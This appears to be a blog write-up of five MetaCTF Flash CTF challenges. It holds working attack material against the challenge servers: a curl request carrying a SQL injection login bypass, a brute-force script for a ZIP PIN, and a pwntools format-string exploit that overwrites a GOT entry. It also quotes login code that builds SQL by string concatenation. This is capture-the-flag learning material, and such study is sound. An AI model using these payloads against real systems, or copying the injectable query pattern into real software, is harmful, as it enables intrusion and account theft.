️🏴 MetaCTF April 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF and Antisyphon.
2024-04-26
Architecture Astronaut
We recovered this executable from a device, but we can't figure out how to make the program run. We suspect the code was compiled for a system with a different CPU architecture.
Can you figure out which architecture it was compiled for? The flag is the name of the architecture. You don't need to run or take apart the executable.
The flag is not in
MetaCTF{}
format, it's just the name of the architecture. You only have 10 attempts on this challenge.
This was straightforward enough; inquiring what the file
type was:
❯ file astronaut
astronaut: ELF 32-bit LSB executable, Tensilica Xtensa, version 1 (SYSV), statically linked, with debug_info, not stripped
…and the flag is Tensilica Xtensa
.
Login Query
I'm trying to log into my online crypto wallet, but I forgot my password! There's no password reset feature, and I can't reach support.
Can you help me log in and get the flag? My username is
jim404
.You can download the source code here. Looks like there might be an issue with how the user input is injected into the SQL query.
Update, if the link above doesn't work, you can try these as well. Please do not use automated tools against this challenge!
I'll hold up my hand and admit: I did use sqlmap
originally so I'm probably
partly to blame for the addition of that last clause. Moving swiftly along…
The login pages referenced above are handled by this part of the provided code:
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get("username", "-")
password_hash = hashlib.md5(data.get("password", "-").encode()).hexdigest()
db_error = ""
try:
query = "SELECT username, public_btc_address, private_btc_key, balance FROM users WHERE username='" + username + "' AND password_hash='" + password_hash + "';"
result = db_cursor.execute(query)
user_data = result.fetchone()
except Exception as e:
user_data = None
db_error = str(e)
…so this comes down to a SQL injection (also teased in the description).
There's no indication how many users are in the database and the fetchone()
will simply retrieve the first which match the query. The injected query must
therefore be open enough to allow access but specific enough to retrieve the
right user: in other words, the jim404
username still has to be in there.
Or, in short, it should evaluate to …WHERE username = 'jim404' --
:
❯ curl http://host5.metaproblems.com:7600/login \
∙ --request POST \
∙ --header 'Content-Type: application/json' \
∙ --data-raw $'{"username":"jim404\' --","password":"pass"}'
{
"balance": 0.05179,
"error": false,
"message": "Login successful.",
"private_btc_key": "MetaCTF{time_to_move_my_money}",
"public_btc_address": "15twe3BTuB8EgZFCkCETUPkVjXBovdXeZd",
"username": "jim404"
}
Lost Luggage
I need to get into this archive, but I forgot the password for it as well. All I remember is, it's the same 4-digit pin I used on my luggage lock...
Come for the puzzles, stay for the Spaceballs references!
My immediate thought on seeing this was the monthly_backwhat challenge in the BSides London 2023 CTF I recently completed.
Tools like zip2john
can make short work of this but where's the fun in that?
import itertools
import string
import zipfile
z = zipfile.ZipFile("luggage.zip")
def bruteforce():
for guess in range(10_000):
guess = f"{guess:04}".encode()
try:
z.extract("flag.txt", pwd=guess)
return guess.decode()
except Exception:
...
print(bruteforce())
After a few moments:
❯ ./lost-luggage.py
7123
❯ cat flag.txt
MetaCTF{w0w_stup1d35t_c0mbin4t10n_1v3_he4rd_in_my_l1f3}
Obnoxious Offset
Dang, I really messed up this flash drive. I should probably have my gparted privileges taken away.
Anyways, the flag is on the second partition in this disk image.
The .img
file contains two partitions (a fact that took me long enough to
figure out):
❯ sudo parted obnoxious.img
GNU Parted 3.2
Using …/metactf/obnoxious.img
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) u
Unit? [compact]? B
(parted) print
Model: (file)
Disk …/metactf/obnoxious.img: 4194304B
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:
Number Start End Size Type File system Flags
1 512B 2098175B 2097664B primary ext2 type=83
2 2098176B 4194303B 2098176B primary ext2 type=83
There's probably an easy way to mount each individually but instead, extracting just the one of interest:
❯ dd if=obnoxious.img skip=2098176 of=obnoxious.img2 bs=1
2096128+0 records in
2096128+0 records out
2096128 bytes (2.1 MB, 2.0 MiB) copied, 7.66525 s, 273 kB/s
…which can be mounted with sudo mount -o loop,ro ./obnoxious.img2 img/
.
The resulting, mounted directory contains a lot of directories, including:
img/M/e/t/a/C/T/F/{/i/t/s/_/a/_/p/a/r/t/1/t/i/0/n/_/t/4/b/l/3/_/p/4/r/t/y/}
.
That's the flag, minus the separators:
>>> print("M/e/t/a/C/T/F/{/i/t/s/_/a/_/p/a/r/t/1/t/i/0/n/_/t/4/b/l/3/_/p/4/r/t/y/}".replace("/", ""))
MetaCTF{its_a_part1ti0n_t4bl3_p4rty}
Internet Talk
Check out my l33t speak converter. It helps me talk like an internet nerd.
Connect via
nc host5.metaproblems.com 5040
You can download the binary here._
My first port of call for binary exploitation is usually Decompiler Explorer, which displays decompiled output from a variety of programs.
There are two major things of note:
- the
main()
function is callingprintf()
using user-provided input and seemingly no second argument: an Uncontrolled format string. - the flag is in a second function (
angr
identifies this as functionsub_80491f6()
, so it's at offset0x80491f6
) which is never explicitly called.
Taking a lead from that referenced article and entering a series of %x
values
(adding a .
to better view the output) as the input:
❯ nc host5.metaproblems.com 5040
Enter a string to leet speakify:
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
Original Input:
37.20.5f.ffc916f4.ef54d780.37.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
Leet Speak:
37.20.5f.ffc916f4.ef54d780.37.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
�
The 7th entry in that output is significant: 25
, 2e
and 78
are the hex
values for %
, .
and x
respectively.
Thankfully pwntools
has a function for doing exactly this:
function—fmtstr_payload
.
Firstly, determine where printf
sits in the the Global Offset Table:
from pwn import ELF
elf = ELF("./leet")
printf_offset = elf.symbols["got.printf"]
Then generate the payload:
from pwn import p32
from pwnlib.fmtstr import fmtstr_payload
flag = p32(0x80491F6)
payload = fmtstr_payload(7, {printf_offset: flag})
Armed with that payload, throw it at the challenge:
r = remote("host5.metaproblems.com", 5040)
r.recvuntil(b"Enter a string to leet speakify:\n")
r.sendline(payload)
r.recvuntil(b"Leet Speak:\n")
print(r.recvall().decode(errors="ignore").strip())
Putting that all together:
❯ ./internet-talk.py
[*] '…/metactf/leet'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to host5.metaproblems.com on port 5040: Done
[+] Receiving all data: Done (22B)
[*] Closed connection to host5.metaproblems.com port 5040
MetaCTF{1337_h@kkaR}